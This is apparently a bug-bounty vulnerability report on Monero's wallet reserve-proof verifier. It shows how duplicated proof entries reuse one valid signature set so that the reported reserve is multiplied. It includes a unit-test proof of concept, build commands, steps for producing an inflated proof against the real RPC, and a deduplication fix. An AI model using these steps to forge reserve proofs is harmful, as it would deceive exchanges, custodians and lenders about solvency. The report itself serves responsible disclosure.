`check_reserve_proof` counts duplicate entries: one output can inflate `total`

How it was found

Repository: monero-project/monero — src/wallet/wallet2.cpp, src/wallet/wallet_rpc_server.cpp. Snapshot: master @ 3ad4a5ee8 (v0.18.1.0-3ad4a5ee8).

Summary

Reserve proofs are untrusted blobs. The verifier walks a vector of reserve_proof_entry and, for each row, checks signatures against a prefix hash, then adds that row’s output amount to total (and spent when the daemon says the key image is spent). Nothing in that loop requires each key_image or each (txid, index_in_tx) to appear only once.

The prefix is built by concatenating the message, the claimed address, and every key_image in order—the same layout the honest get_reserve_proof uses:

std::string prefix_data = message;
prefix_data.append((const char*)&address, sizeof(cryptonote::account_public_address));
for (size_t i = 0; i < proofs.size(); ++i)
  prefix_data.append((const char*)&proofs[i].key_image, sizeof(crypto::key_image));
crypto::hash prefix_hash;
crypto::cn_fast_hash(prefix_data.data(), prefix_data.size(), prefix_hash);

If you repeat the same output N times in proofs, you also repeat N copies of that key image in prefix_data, recompute prefix_hash, and sign against that hash. The owner of the output already has the keys to produce valid shared_secret_sig and key_image_sig for each row; those checks are per-row and do not see “this key image was already used.”

The accounting is flat:

for (size_t i = 0; i < proofs.size(); ++i)
{
  // ... fetch tx, verify proofs, derive output ...
  total += amount;
  if (kispent_res.spent_status[i])
    spent += amount;
}

So the reported reserve scales with how many times the same row appears, not with how many distinct outputs exist on-chain. Stock get_reserve_proof only emits each selected transfer once, but nothing stops a custom prover from serializing duplicates; on_check_reserve_proof just forwards into check_reserve_proof.

Releases Affected

Re-checked on master @ 3ad4a5ee8 against the local tree. Issue is in the verifier logic, not a recent regression; any branch with this reserve-proof path has the same gap.

Steps to Reproduce

check_reserve_proof needs a daemon for /gettransactions and /is_key_image_spent, so the checked proof below lives in tests/unit_tests/reserve_proof.cpp and only rebuilds the prefix, the per-entry check_tx_proof / check_ring_signature chain, and a toy total += amount loop (logging to stdout is in the tree; trimmed here):

TEST(reserve_proof, duplicateKeyImagesReuseValidEntrySignatures)
{
  constexpr size_t duplicate_count = 3;
  constexpr int reserve_proof_version = 2;
  const std::string message = "unit-test-duplicate-ki-reserve-proof";

  cryptonote::account_base account;
  account.generate();
  const cryptonote::account_keys &keys = account.get_keys();
  std::unordered_map<crypto::public_key, cryptonote::subaddress_index> subaddresses;
  subaddresses[keys.m_account_address.m_spend_public_key] = {0, 0};

  crypto::public_key tx_pub;
  crypto::secret_key tx_sec;
  crypto::generate_keys(tx_pub, tx_sec, tx_sec, false);

  crypto::key_derivation recv_derivation;
  ASSERT_TRUE(keys.get_device().generate_key_derivation(tx_pub, keys.m_view_secret_key, recv_derivation));

  crypto::public_key out_pub;
  ASSERT_TRUE(crypto::derive_public_key(recv_derivation, 0, keys.m_account_address.m_spend_public_key, out_pub));

  cryptonote::keypair ephemeral;
  crypto::key_image ki;
  ASSERT_TRUE(cryptonote::generate_key_image_helper(keys, subaddresses, out_pub, tx_pub, {}, 0, ephemeral, ki, keys.get_device()));

  const crypto::public_key shared_secret =
      rct::rct2pk(rct::scalarmultKey(rct::pk2rct(tx_pub), rct::sk2rct(keys.m_view_secret_key)));

  std::string prefix_data = message;
  prefix_data.append((const char *)&keys.m_account_address, sizeof(cryptonote::account_public_address));
  for (size_t i = 0; i < duplicate_count; ++i)
    prefix_data.append((const char *)&ki, sizeof(crypto::key_image));
  crypto::hash prefix_hash;
  crypto::cn_fast_hash(prefix_data.data(), prefix_data.size(), prefix_hash);

  crypto::signature shared_secret_sig;
  crypto::signature key_image_sig;
  crypto::generate_tx_proof(prefix_hash, keys.m_account_address.m_view_public_key, tx_pub, boost::none,
      shared_secret, keys.m_view_secret_key, shared_secret_sig);
  const crypto::public_key *const pubs[1] = {&out_pub};
  crypto::generate_ring_signature(prefix_hash, ki, pubs, 1, ephemeral.sec, 0, &key_image_sig);

  crypto::signature spend_sig;
  crypto::generate_signature(prefix_hash, keys.m_account_address.m_spend_public_key, keys.m_spend_secret_key, spend_sig);
  ASSERT_TRUE(crypto::check_signature(prefix_hash, keys.m_account_address.m_spend_public_key, spend_sig));

  for (size_t row = 0; row < duplicate_count; ++row)
  {
    ASSERT_TRUE(crypto::check_tx_proof(prefix_hash, keys.m_account_address.m_view_public_key, tx_pub, boost::none,
        shared_secret, shared_secret_sig, reserve_proof_version));
    ASSERT_TRUE(crypto::check_ring_signature(prefix_hash, ki, pubs, 1, &key_image_sig));
  }

  constexpr uint64_t output_amount = 7000000000000;
  uint64_t total_as_verifier = 0;
  for (size_t row = 0; row < duplicate_count; ++row)
    total_as_verifier += output_amount;
  ASSERT_EQ(total_as_verifier, duplicate_count * output_amount);
}

Build and run only that test:

cmake -S /home/beni/Monero/monero -B /home/beni/Monero/monero/build/release \
  -D CMAKE_BUILD_TYPE=Release -D BUILD_TESTS=ON
cmake --build /home/beni/Monero/monero/build/release -j"$(nproc)" --target unit_tests

/home/beni/Monero/monero/build/release/tests/unit_tests/unit_tests \
  --gtest_filter=reserve_proof.duplicateKeyImagesReuseValidEntrySignatures \
  --data-dir /home/beni/Monero/monero/tests/data

wallet2.cpp is huge; if the linker machine runs out of RAM, drop parallelism (-j1).

Observed output (the middle block is printed by the test; prefix_hash / key_image change every run because the account is random):

[ RUN      ] reserve_proof.duplicateKeyImagesReuseValidEntrySignatures

=== reserve_proof.duplicateKeyImagesReuseValidEntrySignatures ===
...
--- Accounting (mirrors check_reserve_proof: total += amount each row) ---
  single on-chain output amount (atomic units): 7000000000000
  proof rows summed:                              3
  reported total without dedup:                 21000000000000
  inflation vs one output:                      3x
...

[       OK ] reserve_proof.duplicateKeyImagesReuseValidEntrySignatures (4 ms)
[  PASSED  ] 1 test.

{F5812418} What the test proves:

1. The prefix can list the same key_image multiple times; cn_fast_hash still yields a single prefix_hash that the prover can sign.
2. One set of entry signatures verifies for every duplicate row (check_tx_proof / check_ring_signature are called duplicate_count times with the same inputs).
3. Summing a fixed output_amount once per row gives duplicate_count × output_amount—same shape as total += amount in the wallet.

To see the same behaviour behind a real RPC check_reserve_proof, build wallet + daemon + functional_tests, temporarily duplicate selected_transfers in get_reserve_proof after it is finalized (simulates a malicious prover; the verifier stays untouched), regenerate a proof, and call check_reserve_proof: good stays true while total jumps by the duplication factor. Remove the hack and total returns to the real balance.

Possible Solution

Before hitting the daemon or summing amounts, reject duplicates:

std::unordered_set<crypto::key_image> seen_key_images;
std::set<std::pair<crypto::hash, uint64_t>> seen_outputs;

for (const reserve_proof_entry &proof : proofs)
{
  THROW_WALLET_EXCEPTION_IF(!seen_key_images.insert(proof.key_image).second,
      error::wallet_internal_error, "Duplicate key image in reserve proof");
  THROW_WALLET_EXCEPTION_IF(!seen_outputs.emplace(proof.txid, proof.index_in_tx).second,
      error::wallet_internal_error, "Duplicate output in reserve proof");
}

After that lands, flip the gtest to expect failure/rejection when a second identical row appears, and keep the current file as a reference for what used to verify cleanly.

This should ship together with the RingCT amount binding in reports/critical-wallet-check-reserve-proof-unverified-rct-ecdh-amount-overstates-reserves.md: duplicate rows and bogus decoded amounts are separate ways to lie about reserves.

Impact

This does not empty a wallet; it makes check_reserve_proof lie about how much XMR backs an address. Anyone treating that RPC as a solvency check—exchange, custodian, lender, bridge, or ad hoc auditor—can be shown a proof that verifies while total is several times the real position. The unit test above is evidence of the crypto/accounting shape, not a polished one-liner exploit against mainnet.

Note

Prepared with editor/AI help on wording and layout; line references and build commands were checked against the local tree at 3ad4a5ee8.

Bounty

If this qualifies for a bounty, XMR can be sent to:

47TUANy82gtBFMvsFwyA3hE98PzgKSmxNia3n9fpvSadDWs234M7oWfevXqYxKmy3d9hSp1TH82gX4JWvNEUupse2s92maV